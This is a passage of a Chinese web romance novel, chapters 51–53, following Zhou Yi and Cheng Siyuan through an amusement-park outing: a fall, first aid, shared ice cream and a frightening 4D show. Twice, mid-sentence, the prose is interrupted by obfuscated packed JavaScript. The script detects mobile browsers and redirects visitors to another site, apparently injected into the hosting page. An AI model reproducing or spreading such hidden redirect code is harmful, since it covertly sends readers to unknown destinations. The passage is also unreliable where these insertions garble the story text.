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段梓坤看着玩得眉飞色舞的李佩佩不禁咧了咧嘴,有些怨毒道:“怎么跟我玩就没见你笑成这样的。” 程司远听到,斜眼看了段梓坤一眼,有些戏虐道:“怎么,你连女生的醋都吃?” “哈?” 段梓坤立马坐直了身体,虽然眼睛不再看向李佩佩,但很明显是在漫无目的地乱瞟着,嘴上更是顽强道:“怎么可能!我吃什么醋,我从来不吃醋。” 程司远挑眉,一脸“骗鬼”的表情道:“别装了,昨天晚上都到人家家里去了,还装呢。” “咳咳、什……什么啊。” 段梓坤没想到程司远会这么说,惊得差点被自己的口水呛到,但脸上依旧不神色,一本正经解释道:“我只是碰巧了昨天晚上没事,然后去吃了个烧烤,但是因为太晚了,所以就顺便帮她家收了一下,仅此而已!” 程司远边听边点头,但“不信”的两个大字却是沾满了他的整个表情。 段梓坤看解释无果,气恼地哀叹道:“哎呀,好了好了,我是喜欢她。” 他侧头看向远处笑得直不起腰的那位,轻叹了口气,无奈道:“可她好像对我没那个意思。” 程司远也侧着头看了看,见周依笑的开心,突然觉得自己也开心不少。 “一会儿我去找依依,我带着她。”他撇过眼,伸手拍了拍段梓坤肩膀道:“剩下的,就看你了。” 段梓坤也不笨,自然知道程司远是什么意思,点头应道:“嗯好,我知道。” 随后,伸手锤了一下程司远的胳膊,笑道:“你也是。” 程司远嘴角勾了勾,嘴里慢慢吐出两个字,“自然。” 一曲结束,旋转的咖啡杯也缓慢的停了下来,工作人员挥舞着双手,微笑道:“请大家小心脚下哦,拿好随身物品,先出后进,欢迎再次来玩。” “依依你还好吧。”李佩佩忍笑的看着快要被自己晃晕的周依,继续道:“要不我扶你?” 周依牵扯出一丝笑意,虽然她玩的很开心,但这玩疯了的女人转的实在是太快了,算上刚刚的,自己真是雪上加霜了。 她强撑着自己站起来,对李佩佩摆手道:“我没事,我没事。” 说着就要从咖啡杯上下来。 可谁知道周依刚迈出一只脚,咖啡杯就因为受力不平衡,重新转了起来。 “依依小心!”李佩佩惊呼一声。 “什么?” 周依应声回头,突然身体一斜,失去平衡。 李佩佩吓了一跳,连忙伸手去拉。但奈何周依脚下的动作太快了,她这一下却是扑了个空。 周依心里一紧,眼看自己就要摔倒,本能的伸手去抓身边的物品。 突然,一个坚硬而又温热的触感从掌中传来,周依一惊,连忙回头查看。 不曾想,映入眼帘的居然是一截白皙还带着肌肉线条的手臂。她惊慌之余又不敢松手,身体也因为咖啡杯的转动,彻底失去平衡,一整个人都向前倒去。 “小心。” 那人惊呼一声,快步上前,将周依抱了个满怀。 淡淡的薄荷香气扑面而来,温热的胸膛好像并没有起到很好的缓震作用,周依鼻尖微微发痛,她现在就算不抬头也知道是谁接住了自己。 扑通、扑通。 心脏像鼓点一样响个不停,不知道是因为刚刚的惊险,还是因为面前的人。 “没事吧,有没有磕到?”头顶传来程司远焦急的声音。 周依再也顾不得其他,一下子从他怀里跳开,双颊发烫,支吾道:“没、没事,我没事。” 程司远微微蹙眉,上前一步,低头看着周依问:“真的?” 他顿了顿,突然蹲下身,伸手抚上周依的脚腕,抬眸关心道:“疼吗?” 程司远睫毛弯长,阴影下的眸子含满了心疼。 周依呼吸一滞,随即低头看向他手指的抚摸处,那是一条淡淡的红痕,可能是刚刚摔倒时不小心划到的吧。只是擦破点皮,并没有流血。 要放在之前,这样的伤周依根本不会在意,或者压根儿都不会发现。 “依依你还好吗?” “依依你没事吧?” 段梓坤将李佩佩也扶了下来,看着周依摔倒在程司远怀里,也快步走了过来连声关心。 一瞬间,周依忽然觉得自己脚腕处疼得厉害,疼得她鼻尖好酸,嘴巴好苦,蓦地眼睛也开始氤氲出薄薄雾气。委屈极了。 周依轻瘪着嘴巴,眼睛扫向几人,忍着喉咙间的哽咽,点头、“嗯”了一声。 这下,程司远眉头皱地更紧了,说:“我带你去处理伤口。” 说着便要伸手,准备抱起一把将她抱起。 周依被他的举动吓了一跳,下意识往后退了一步,结巴道:“不、不用——” 了字还没有说完,她就觉身体一轻,已然是被程司远拉着胳膊,横抱了起来。 51.消毒 周依吓坏了,羞红着脸在程司远怀里挣扎道:“你、你别这样,我可以走的,我没事,你放我下来、放我下来!” “别动。” 程司远这一声,和他以往语气都不同,甚至可以说没有商量的余地。是冷厉的命令和隐忍的情绪。 周依怔住,扑腾的手脚忽然也安分起来。 程司远抿唇,又放缓了声音补充道:“别动,你这样很危险。” 周依窘迫不已哪还敢乱动,只能轻咬着嘴唇,在程司远怀里拼命点头。 “您好,请问是谁受伤了吗,需要帮忙吗?”工作人员看到也纷纷上前。 霎时间,两人周身围了不少人。 原本就尴尬到无地自容的周依,现在更是整张脸连着耳朵都红了,像是能滴出血来。 她刚想再次挣扎着下来,可抬头就看见程司远阴黑的表情,便立即打消了这个念头。只好默默低下头,将自己整张脸都藏进程司远的怀里,紧抓着他的肩膀,不敢动弹。 程司远感受到了怀里的小动作,他垂眸看向周依,眼神柔了柔说:“她不小心划伤了,请问哪有医务室或者医务车吗?” 工作人员也是负责,听到有人受伤了便马上派人打电话给了医务车,说:“真是不好意思,医务车马上就到,还麻烦您耐心等待。” 程司远点头称没事,抱着周依走到了路边的长椅处,轻轻放下来伸手扶她坐好。 李佩佩也是担心的紧,俯下身焦急道:“对不起啊依依,是我玩的太过火了,你忍忍哈,医务车马上来。” 周依连忙摆手道:“不是不是,这跟你没关系,是我下来的时候不小心,你不用跟我道歉,我没事。” “可是我……” 李佩佩自责万分,刚刚欢乐的心情早也烟消云散。 “哎呀,没事。”段梓坤伸手见李佩佩拉起,轻声安慰道:“依依都说不怪你了,你就别自责了,出来玩就得开心点,是吧依依。” 说着还不忘朝着周依使劲使眼色。 周依哪能不明白,立即应声道:“就是就是,我们几个还不容易聚齐玩一躺,肯定得开开心心的。” 她拉过李佩佩的手,笑道:“我真的没事也没有怪你,信我好吗?” 李佩佩看着周依神色有些复杂,抿了抿唇没有说话。 周依看这局面不禁开始后悔起来,明明也不是很疼的,自己刚刚怎么就“嗯”了呢。 这下倒好了,原本普普通通划伤,现在变得这么兴师动众,好好的出游计划也被自己给搅糊了。 “依依一会儿需要简单处理一下,估计要耽误点时间,要不你们先去玩?”程司远道:“到时候我们电话联系。” 原本还在头疼该怎么处理僵局的周依,听他这么说,眼睛瞬间一亮,立马坐直身体,附和道:“对啊对啊,你们先去玩吧,我们一会儿去找你们。” 她看着李佩佩,笑眯着眼道:“顺便帮我看看还有什么好玩的,到直接时候告诉我,我马上就去。” 段梓坤看了一眼程司远,见他微微挑眉,瞬间了然,上前一步到李佩佩身边,说:“对啊,我们站在这也帮不到什么忙,况且有司远陪着依依,你也不用担心。” 随后,他又拿着游乐园的地图在手上甩了甩,继续道:“不如就按他们的,先去看看哪有什么好玩的,到时候直接带依依去,能少走不少弯路,你说呢?” 李佩佩沉默一会儿,她看了看段梓坤,又转头看向周依,皱了皱眉道:“可……我怎么感觉哪里怪怪的?” 看她犹豫不决,周依刚想开口说话,却没想到被程司远抢了先:“我觉得挺不错,既然来了就要玩的尽兴。” 他低头看着周依,含笑道:“这有我,你不用担心。” 刹那间,周依的眼睛像是被烫到,急忙撇过眼,连脸颊也跟着微微发烫,蓦地不好意思点了点头。 “那……那好吧。”李佩佩有点被说服了。 周依见问题解决也顿感舒心,甚至觉得自己的脚踝一点事都没有了,要不是碍于程司远的威压,估计都能再跑着再去玩了。 但就在她暗暗吐槽程司远大题小做时,另一旁车笛“滴滴滴”得声响了起来。 “奥,医务车来了。” 段梓坤看到驶来的大白车心中一喜,剩下的三个人也纷纷看向车笛的方向。 医务车在长椅不远处停稳,穿着白大褂的医护人员也从车上下来,走到四人身边,抱歉道:“真是不好意思,患者可以在这边先做简单的处理,但如果伤及骨头或其他,还需要立即前往正规医院。” 周依应声起身,只是刚开口说了声“谢谢”,就又被程司远眼疾手快地,一下按住肩膀,坐了回去。 “你别站起来,先坐好。”他说。 周依无奈,尴尬地抿着唇重新坐回长椅上,小声嘟囔道:“我真没事……” 然而她这微弱的声音并没有得到其他人赞同,只听李佩佩焦急道:“是啊依依,你还是先别起来了,脚还有伤呢。” “……” 周依努了努嘴,表示放弃反抗。 程司远抬头看向着李佩佩和段梓坤,说:“你们去吧,我给依依处理伤口。” 段梓坤点头道:“奥,那行,那我们就先走了哈,到时候电话联系。” 说完便转身准备离开。 可谁知他刚迈了一步,随即又顿住,看着李佩佩道:“走啊,你怎么还愣住了?” 李佩佩微微蹙眉,犹豫道:“我……” “哎呀,佩佩快去吧。”周依挥动着手,继续道:“再不去我可要不开心了哈!” 说着还佯装生气的叉着腰,惹得李佩佩“噗嗤”笑出了声,气氛也缓和了不少。 “知道了,那我走了哈。”李佩佩有些不舍,又重复道:“但我绝对不是只为自己开心啊,我是去给你找好玩的。” 周依低低笑出了声,说:“知道啦,快去吧,去看看哪有让我觉得好玩的。” “哎呀,走吧走吧,又不是不见了,怎么还磨磨唧唧的呢。”段梓坤无奈催促道。 李佩佩反手就是一巴掌拍在他肩膀上,不耐烦道:“说谁呢!” 段梓坤吃痛一声,连忙伸手去轻柔,不服道:“谁打我就说谁!” 话音一落,转身就跑。 “你!” 李佩佩跺脚指着段梓坤的背影,刚要快步去追,却呦顿住脚,转头对周依道:“依依,我那什么……我先走了哈。” 说完也转身跑开了,只不过嘴里还是怒骂着:“段梓坤,你给我站住!你再跑个试试!” “哎呀,我错了我错了。” “你跑啊!你说啊!看我不打死你!” “别打了别打了,疼啊!对不起!” …… 周依看着两人打闹的背影,不禁笑出了声,她嘴里喃喃道:“感情其实很好嘛。” ”我也觉得。”头顶响起程司远的声音。 周依下意识的抬头。 霎间,时间仿佛停滞了,周围的喧嚣都被抛在了脑后。 映入眼帘的是对方那张几近完美的脸庞,硬朗中透着温润,眉梢洋溢着似有似无的笑意,在明媚的阳光下,更映得他瞳若点漆,晶亮莹润。 “看什么呢?”程司远微笑道。 周依一惊,匆匆低头道:“没、没看什么。” 她心中不禁暗骂道,真是该死,怎么还犯起花痴了,还被抓个现行? 真是够了! “哦,没什么?”程司远说着便俯下身,离周依极近。 她吓了一跳,往后说了说,支吾道:“你、你干嘛……” 话音刚落,突然身体一轻。 程司远道:“抱你去处理伤口。” 周依害羞极了,涨红着脸,扭动道:“你放我下来,我能走,我真的没事。” 但程司远并没有理会,径自抱着她上了医务车,放到空椅上,才道:“我知道。” “哈?” 周依一愣,有点没听明白,继续道:“知道什么?” 程司远叹息一声,拿过一旁的棉签和酒精,俯身蹲下道:“你的脚啊。” 他顿了顿,抬头看向周依说:“好歹我也是个医生,有没有事看一眼就知道了。” 瞬间,周依觉得自己脸上火辣辣的,不用想肯定是满脸通红了。她羞怯地低下头,微嘟起嘴,小声道:“那你还抱我……” “因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495865|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为我喜欢啊。”程司远说。 周依身体僵住,随后猛地抬头看向程司远,脸上露出难以置信的神色,脑子里也一片空白,怀疑自己是不是听错了,讷讷道:“什……什么?” 突然,程司远喉咙里轻笑出声,他歪着头耸肩调侃道:“我说,我喜欢你管得着嘛。” 顿时,周依羞愤难当,垮着小脸狠狠瞪了他一眼,气道:“神经病啊!” 随即转过脸,不理人了。 “好啦好啦,别生气,开玩笑的。”程司远忍笑着。 “虽然不严重但还是破了皮,我用酒精给你消毒。”他轻轻托起周依的脚,继续道:“有点疼,忍着点。” 周依不语,也没有丝毫转头的意思。 程司远暗叹一声,有些无奈,他将沾有酒精的棉签,轻轻挨上周依脚踝处的伤口,小心处理着。 “嘶。” 周依吃痛一声,脚也跟着往后缩了缩。 “别动。” 程司远拉着她的脚踝,低声道:“是有点疼,我尽量轻点,再忍忍。” 周依紧抿着嘴唇,垂眸看着他,手掌的温度从脚腕处蔓延到了心窝,暖暖的。 程司远又拿了新棉签,在触及伤口前,小心翼翼地吹了吹,所到之处还伴有阵阵凉风。好痒。 “哈哈。”周依喉咙里泄出两声低笑。 程司远闻声抬头,疑惑道:“怎么了?” 周依也没想到自己居然会笑出声,顿觉尴尬不已,立即闭了嘴,转过脸,摇了摇头。 “在笑什么?”程司远又问。 周依真是要被他气死了,她之前怎么不知道这人有这么多问题? 十万个为什么吗? 于是,没好气地嘟囔道:“还能笑什么,就是很痒啊。” “噗嗤”一声,这下轮到程司远笑出声了,说:“这么大人了还怕痒啊,还跟小时候一样。” 不知为何,周依脑子突然就飘现出小时候程司远给自己扎头发的场面,顿时脸就红了起来,她微偏着头,支吾道:“哪、哪有,我才没有。” 程司远轻笑着从一旁取了两张创可贴,无奈道:“好好好,没有没有。” 他将创可贴贴在了周依脚碗的伤口处,站起身道:“好了,别再那么不小心了。” 周依瘪着嘴“嗯”了声,随后从椅子上站起来,下了车,随后又走了两步,看向程司远满脸得意道:“看,我说我我能走,根本就没事。” 程司远勾了勾嘴唇,对她眨巴着眼睛道:“我知道。” 语气十分无辜。 “那你——” 周依还没说完,就猛地住了嘴。 笨蛋,刚刚已经问了。 她心里暗骂,觉得自己实在难堪,左右踱了两步,倏地转过身愤愤道:“我走了,拜拜。” 看来,是要当无赖了。 “诶诶,别走。”程司远快步猛地拉住周依道:“是因为段梓坤和李佩佩。” 他凑近压低声音继续道:“你不觉得该给他们点独处的时间吗?” 周依立马睁大眼睛,八卦道:“独处?是梓坤哥提出来的吗,他要表白了?” “你也太八卦了吧。” 见她这样,程司远也觉可爱,好玩的不行。 周依瘪了瘪嘴,嘟囔道:“问问怎么就成八卦了,这不是关心嘛。” 程司远耸了耸肩道:“点子是我想的,至于他怎么做,我就不知道了。” “你想的?” 周依挑眉,轻声继续道:“还挺有心。” 声音虽小,但程司远耳朵却好,她说的每一个字的都被他听到了。 “哪像你呀,小没良心的。” 程司远说着,用手轻刮了一下周依的鼻子,继续道:“天天梓坤哥、梓坤哥的叫,人家段梓坤怎么对你好了,是给你买小蛋糕了,还是给你煮面了?” 周依被吓得缩了缩脖子,她没想到程司远会刮自己的鼻子,一时间竟愣在原地,脑子里也空空的,没有说话。 程司远嘴角勾起,向前走了一步,凑到她耳边,说:“对我就你、你的叫,到底谁是你哥啊?” 声音低沉沙哑,里面戏虐的味道不言而喻。 52.薄荷 周依心脏骤然一缩,本能往后缩了缩脖子,麻酥酥的感觉蔓延至全身。她耳朵本来就敏感,顿时,更是涨的满脸通红,羞恼道:“我喜欢,要你管!”说完转身就跑。可谁知道她还没跑两步,就被程司远一把拉住道:“别跑,脚上还有伤。”周依用力甩开他的手,撇过头,抿着嘴不说话。程司远见她倔脾气上来也不慌,嘴角扬了扬,放轻声道:“好啦,对不起,我错啦,原谅我好不好?”他倒是熟门熟路了。周依轻哼一声依旧不语,同样也没有要转过头的意思。见状,程司远抿笑着唇点头道:“那我请你吃冰淇淋,可以原谅我吗?”声音悠悠,好像撒娇。要不是说呢,懂她还是她哥。周依瞬间眼睛都亮了,支棱着头左右看看。冰淇淋?在哪,她怎么不知道?程司远像是早就知道了她心中的想法,嗤笑一声,先一步走在前面,转过头向后道:“在前面,要去吗?”白色的衣服在阳光的照耀下,更是显得他夺目耀眼,周身也好似泛着金光,像极了那云端的天使。周依几乎是下意识地笑着“嗯”了一声。程司远微笑道:“那就走吧。”“好——”周依刚开口还没说完,就忽然意识到不对劲。怎么回事,现在她已经这么好哄了?一个冰淇淋就收买了,这不是被拿捏了嘛!她抬头看着走在自己前面的程司远,腰细肩宽,步步生风。顿觉一阵欲哭无泪,被美色拿捏是她的命,她认了。美色害人不浅啊。周依轻叹一声,还是选择快步跟上。不过他们大约走了五分钟,只见路上游客匆匆,周边小店一个挨着一个,可就这冰淇淋摊,自始至终不见踪影。周依甚至都开始怀疑,程司远是不是又再跟她开玩笑了,正想开口问到了没有,突然身旁这人开了口,他伸手指向一个犄角旮旯道:“到了,在哪。”周依抬头看去,不禁惊讶地挑眉毛,梦幻的城堡下面长了个不起眼的魔法小屋。她从入园开始就零零散散见了好多这样的小建筑,但大多数都是关着门的,只有少部分开着,不是用来让游客集章,就是让游客休息的。卖冰淇淋的,她还是第一次见。“还真的有啊!”她说。程司远斜眼问道:“怎么,我还能骗你不成?”周依撅了撅嘴,小声嘟囔道:“那可说不好……”她快步走向魔法小屋,歪着头看向程司远,不客气道:“给我买。”程司远喉咙低笑一声,也跨步向前,无奈道:“好,买。”两人刚靠近魔法小屋,门口就忽然响起了音乐,里站着的魔女姐姐也跟着音乐舞动起来,微笑道:“我幸运的园民们,欢迎来到我的魔法小屋,今日小时特供是美味冰淇淋。”随即魔女又换了一副十分悲伤的表情,继续道:“但魔法界规定,我们的食物只能被魔法世界的人吃。”刚刚还兴致勃勃的周依,听了这话蓦地有些沮丧,惋惜道:“啊……那我们是吃不到了吗?”她转眼看了看旁边站着的程司远,见他一脸笑眯眯的样子十分疑惑,不由腹诽道,都吃不到了怎么还在笑?是不想吃,还是不想给自己买?算好的吧!周依正要在心里狂扁某个耍赖鬼时,忽然魔女再次开了口,挥舞着手里的魔法棒道:“只要你们愿意加入魔法世界,那你们便和我一样,是魔法世界的人。”她看向周依继续道:“你,愿意吗?”听到可以吃,周依大喜过望,用手指着柜台,垫脚道:“我愿意!”魔女挑眉点头,随后将魔法棒指向程司远,问:“你呢?”程司远的嘴角勾起好看的弧度,看向一旁早就被柜台里的冰淇淋吸去了所有目光的周依,柔声道:“我也愿意。”听到两人回复的魔女,挥舞着魔法棒转了个身,说道:“好的,我可爱的子民。”她分别指向柜台里的冰淇淋模型,说:“我们有巧克力口味,草莓口味,香草口味,还有特供的薄荷口味,你们想吃什么口味的?”周依十分意外,几乎不假思索道:“要薄荷的!”但说完她又顿住,凝眉看向柜台另一侧,可以说是华丽的巧克力冰淇淋,突然有些犹豫,摇了摇头,纠正道:“还是巧克力的吧。”魔女笑着点点头,应声道:“好的,巧克力味的是吧。”周依咬了咬嘴唇,心中依旧犹豫不决。薄荷味的应该也不错,而且还是特供……她深深吸了口气,仿佛终于下定决心道:“对不起啊姐姐,我还是要薄荷味的吧。”魔女刚拿了一个蛋卷准备打巧克力味的冰淇淋,听到这话立即住了手,转头看着周依有些尴尬道:“呃……确定了吗?”周依原本已经想好了,可经过这么一问,她又不确定了,犹豫道:“我……”“要两个,一个巧克力味的,一个薄荷味的,麻烦了。”一旁的程司远蓦地开了口,说完还朝着她笑了笑。周依被看的有些不好意思,突然想起刚刚自己犹豫的囧样,又不免觉得尴尬起来,连忙撇过头掩饰。魔女笑着应声,不一会儿,两个冰淇淋便交到了程司远。凉椅上,他一手拿着一个,看着周依问:“你更想吃哪个?”周依看着他眨了眨眼睛,笃定道:“薄荷的。”闻言,程司远将手中薄荷味的冰淇淋递给周依,随后伸手掰了巧克力味冰淇淋底部的蛋卷,又拿着那掰下来的部分挖了顶部的冰淇淋,最后还细心的放了几个装饰上去。不消片刻,一个迷你版的巧克力冰淇淋完成了。“呐,给你的。”程司远道。周依目瞪口呆地看完了全程,伸手接过,难以置信道:“这也行!”程司远挑眉,有些得意道:“当然行。”他顿了顿,笑着继续道:“这下你就可以吃到两个口味了,馋猫。”周依想刚下口尝尝薄荷味的冰淇淋好不好吃,可到他这么说,立马不高兴了,反驳道:“谁馋啊,我才不是!”她不服气,伸手将手里迷你冰淇淋递还给程司远道:“帮我拿着。”“嗯?”程司远虽然疑惑,但还是伸手接过。周依见自己腾出手,便也学着他的动作做了一个迷你小冰淇淋,得意洋洋道:“给你,薄荷味的,现在你也有两个味了,所以不能说我馋了。”程司远转头笑出声,说:“学得还挺快。”但——“可是我没手啊。”程司远一脸无辜地眨巴着眼,说着还拱了拱手。确实。他一个手是大版巧克力,一个手是迷你版巧克力,确实没手。可 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周依……她低头左右看了看自己的两只手,跟程司远情况一样,只不过自己拿的是薄荷味的罢了。这可怎么办?“你喂我吧。”程司远说。“啊?”周依甚至怀疑自己是不是听错了,忍不住又问了一遍:“你说什么?”程司远歪了歪头,重复道:“我说,你喂我。”十分坦然。“凭什么!”周依一下子从凉椅上站了起来,没好气道:“怎么不是你喂我?”但刚说完,她就后悔了。他敢喂,自己敢吃吗?周依咬了咬嘴唇,不知道程司远就做什么反应,心里也打着鼓。他应该……不会答应吧。“那也行。”“???”程司远轻挑着眉站起身,嘴角含笑看着满脸震惊的周依,说完又挪动着身体,往前坐了一点,将手里的迷你冰淇淋递在她嘴边道:“来张嘴,啊——”顿时,周姨感觉一股热浪直冲脸颊,羞红一片。她急忙轻撇过头,支吾道:“不、不用了,我、我……”这人显然慌极了,“我”了半天,也我不出个所以然来。“嗯,你……什么?”程司远侧头问道。周依猛地深吸一口气,心想,拼了!于是——“我说我手大,一只手也能拿得下!”她说着,伸手就去拿程司远手中的迷你冰淇淋。那一瞬间,周依确实是拿稳了程司远手中的冰淇淋,可原本她自己手上拿着的迷你冰淇淋却是一个不小心,斜了。电光火石间,看眼就在快掉从她手里掉下来,程司远猛地迈步上前,一口将它包裹下肚,吃了。霎间,指尖与唇齿相碰,手背也感受到了温热的吐息,周依高举着手愣在原地,满眼震惊。事实证明,她的手不大,也拿不下。“嗯,薄荷味的,还不错。”程司远说。他将嘴巴里的吃完,又伸出舌头轻轻舔了舔嘴唇,意犹未尽的,像是在回味什么。周依脸红了个彻底,连头顶都在冒着热气,活像个蒸汽机。她眼神忽闪着转向一边,假装镇定,但嘴里却支吾个不止道:“嗯……好啊,好吃就行……嗯、好吃就行。”程司远笑眯着眼,点头道:“谢谢依依喂我吃。”“谁、谁喂你了?”周依说着快走两步,又耐不住脸上的面子,转头抱怨了句:“明明是你凑过来自己吃的,我才没有……”说到最后声音也小了起来。程司远嘴角勾起并没有着急反驳,迈步跟上道:“再不吃就化了,快尝尝。”大有转移话题的意思。周依斜着眼往旁边瞟了一下,见程司远站到了自己身边,又暗暗往旁边挪了一步,嘟囔道:“我知道,不用你说。”说着便拿起迷你巧克力冰淇淋,一口吃掉。“哇,好吃诶!”周依眉间一喜,随即又舔了一口自己薄荷味的,继续道:“这个也好吃!”她点点头很是满意,随后又高兴地舔了几口,把刚刚的事一股脑儿都抛在脑后,转身一蹦一跳的先走为上了。程司远看着周依的身影心情甚至愉悦,低声回应道:“嗯,是好吃的。”眸光似水,盛满深情。七月的炙热宣示着盛夏的到来,阳光穿过云层洒在大地上,热浪在空中波动,翻出心底的秘密,带起隐晦的情愫。整个世界都沐浴在火热的怀抱中,冰淇淋也在慢慢融化。 53.剧场 这游乐园很大也很特别,有供人玩耍的露天设施,还有提供休息的场内设施,时不时还会出现一些限时的特别活动,就如他们手里拿的冰淇淋。 周依和程司远并排走着,突然一道声音引起了她的注意。 “快走,咱们快去看4D剧场,马上要开始了,听说很好看的。” 一位漂亮姐姐摇晃着身边男生说道,那男生拿起地图皱眉看了看,疑惑道:“什么4D剧场,地图上怎么没有?” 那漂亮姐姐摇举着手机,说:“那是隐藏项目,我看攻略上说有。” 她手指在屏幕上翻了几下,继续道:“好像还有一个什么魔法冰淇淋,也是隐藏项目。听说情侣吃了会永远在一起,不知道真的假的。” 旁边男生一脸不屑道:“你在哪看的攻略啊,这一听就是假的,全是商家的噱头。” 之后漂亮姐姐好像又说啥了什么,但周依却是一个字都听不进去了,眼睛看着手里还剩下最后一口的冰淇淋,不由愣了愣,大脑一时间没反应过来。 什么,魔法冰淇淋?永远在一起? 她机械般抬头看向身边程司远,见他吃完冰淇淋正拿着湿纸巾在仔仔细细地擦着手,还是那副洁癖样子,心里蓦地松了口气,又继续低头吃了两口手里快化的冰淇凌。 看来是没听见。 “前面有4D剧场,听说每天都是不一样的主题,不知道今天是什么,要不我们去看看?” 程司远的声音忽然在头顶上方响起,周依猛地停住脚步,一脸震惊地看着他。 听见了?还是看攻略了? 那刚刚冰淇淋…… 周依脑子里一团浆糊,莫名的情绪也涌上心头,她说不清那是什么,好像是疑惑,又好像是期待? 程司远走了两步,见她还站在原地,不由回头问道:“走啊,愣着干嘛?” 太阳火辣辣的,空气也变得焦躁不安,周依的呼吸也开始小心翼翼,埋藏在胸腔里那不知名的小嫩芽,好像也被这光照的,慢慢开出了花。 “奥,知道了” 她一口将手中的冰淇淋吃掉,微微泛红着脸,快步跑向前方程司远的方向。 “欢迎大家来到神秘的海底世界,十分钟后将会播放章鱼历险记,请大家领取眼镜后随意落座。” 广播在一个黝黑的山洞里悠悠响起,程司远和周依两人借着幽暗的灯光坐在了大厅中央视野最好的位置,不知道是不是因为隐藏项目的关系,观看的人数并不是很多。 影片还没开始,周依坐在座位上安静等待,一时间觉得有些无聊,脑子里乱七八糟也不知道在想些什么。 忽然,她眉毛轻眉,偷偷扭过头看了程司远一眼。这么久了,她好像还是第一次跟他看电影。 “嗯?怎么了?” 程司远突然转头,吓了周依一跳,她心里微的有些发虚。这人到底长了几只眼睛?拿一副眼镜不够吧! 她连忙撇过眼,刚想开口解释,忽然剧场里的灯暗了下来。 可能是光线太暗,周依看不清对面人的表情,蓦有了些底气,她轻咳一声,伸手戴上眼镜,佯装无事倒:“没什么,要开始了,不能说话。” 程司远闻言轻挑了下眉,随即也转过脸戴上眼镜,真就听话的抿唇不语了。 影片开始,周围慢慢也安静下了。周依看很认真,目光更是被剧中的小章鱼牢牢抓住,再加上与影片情节紧扣的4D特效,让她整个人都沉浸在了历险记当中。 逐渐,影片来到了高潮部分,螃蟹用钳子夹住小章鱼的触手,威胁道:“如果你今天不臣服与我,我就派遣我的蜘蛛大军攻陷你的村落。” 小章鱼一甩触手,将螃蟹摔得老远,不屑道:“你以为我会怕吗?我们村落里的每一只章鱼都是英勇地武士,我们战无不胜!” 螃蟹听了很是生气,钳子捏的咔咔作响,怒道:“那你别怪我不客气了。” 说着,它身后的海蜘蛛就密密麻麻的爬了出来,不过瞬间,就布满了整个屏幕。 周依看得往后缩了缩,心里莫名开始觉得不安。 忽然,一只海蜘竖直在她头顶掉落,周依脑袋轰的一下,瞳孔骤然紧缩,猛地躲闪一边,同时剧场内也传来此起彼伏地尖叫声。 她屏住呼吸,紧咬着嘴唇强忍着想要尖叫的冲动,大脑一片空白,全身都在发麻,就连撞到了程司远的胳膊也毫不在意。 “依依,你还好吗?”程司远低声关心道。 周依刚想摇头,突然就看到一个接一个的海蜘蛛从自己头顶掉落下来,她还没来得及反应,又感觉身下的凳子也慢慢蠕动起来,像极了有无数只海蜘蛛在在身上爬来爬去。 伴着屏幕里螃蟹的狂笑声,一波又是一波。 “啊啊啊啊啊啊啊啊啊啊!!!” “救命!别过来!啊啊啊啊!!” 周依再也忍住不住,发出一连串的惨叫声,声音哽咽,呼吸急促,全身都在忍不住的颤抖。 救命。 什么都好,快救我。 她害怕至极,本能去抓住身边可靠的物品,想让自己远离蜘蛛群。 扭动、拉扯、躲闪。 一通没脑筋的动作过后,她似乎找到了一个安全的地方,是温热的,有弹性的。那令她全身战栗的蠕动,也渐渐开始消失。 “不怕,不怕” “都是假的,没有掉在身上,放心放心。” “依依不怕,没关系的,都是假的。” 头顶一声又一声像哄宝宝般的声音传入周依的耳朵。她循声望去,却发现程司远的脸近在咫尺。 虽然两人都戴了眼镜,但这咫尺距离依还是让周依慌了心神。 惊诧之余,她也从影片中回神片刻,只是下一秒,她又猛然发现自己不知道什么时候,已经半坐在了程司远的腿上。 周依慌极了,下意识就要起身。可她的脚刚触及地面,一个毛绒绒的东西突然就从椅子下面蹿了出来了。 维持理智的最后一根玄彻底崩断。 “啊啊啊啊啊啊啊!!!” 周依尖叫出声。 她猛地将脚收回,扭动着身体,像躲避魑魅魍魉般地疯狂向后藏匿,整个人都蜷缩在程司远的怀里。再也顾不得其他。 冷汗涔涔,心脏剧烈起伏,呼吸间几乎要从肺部牵扯出棉絮,恐惧像看不见的手,攫住她,拉入无尽深渊。 她紧搂着程司远的脖子,颤抖着大喊道:“救命、你别过来!” “别过来啊!救命,哥、救我!” “哥我害怕,救命啊,哥!” 泪珠像断了线的串珠般,扑簌簌地往下掉,沿着面颊滴滴往下淌。她崩溃了。 破碎的话语拌杂着哽咽声传入程司远耳中,他看着自己怀里缩成一团的周依心疼极了,也懊悔极了。早知道是播放是这……他就不该带她来。 程司远紧抿着双唇,小翼翼地伸手抚上周依的后背,暗暗叹了声气,将她揽入怀中,感受到她那有些单薄的肩膀还在不停抽搐颤抖,颈间晕开的湿润也一下下烫到了他心里。 手臂微微用力,将周依搂的更紧了。 他的呼吸温暖而轻柔地吹拂在她的耳边:“别怕、我在,没事的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519412|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别怕。” “放心,它伤不到你。” “依依别害怕,我在,一直都在。” 影片还在继续,场内的尖叫叫声也是接连不断。周依紧闭着双眼,将自己整张脸都藏在程司远的颈间,牢牢抓着不肯松手。 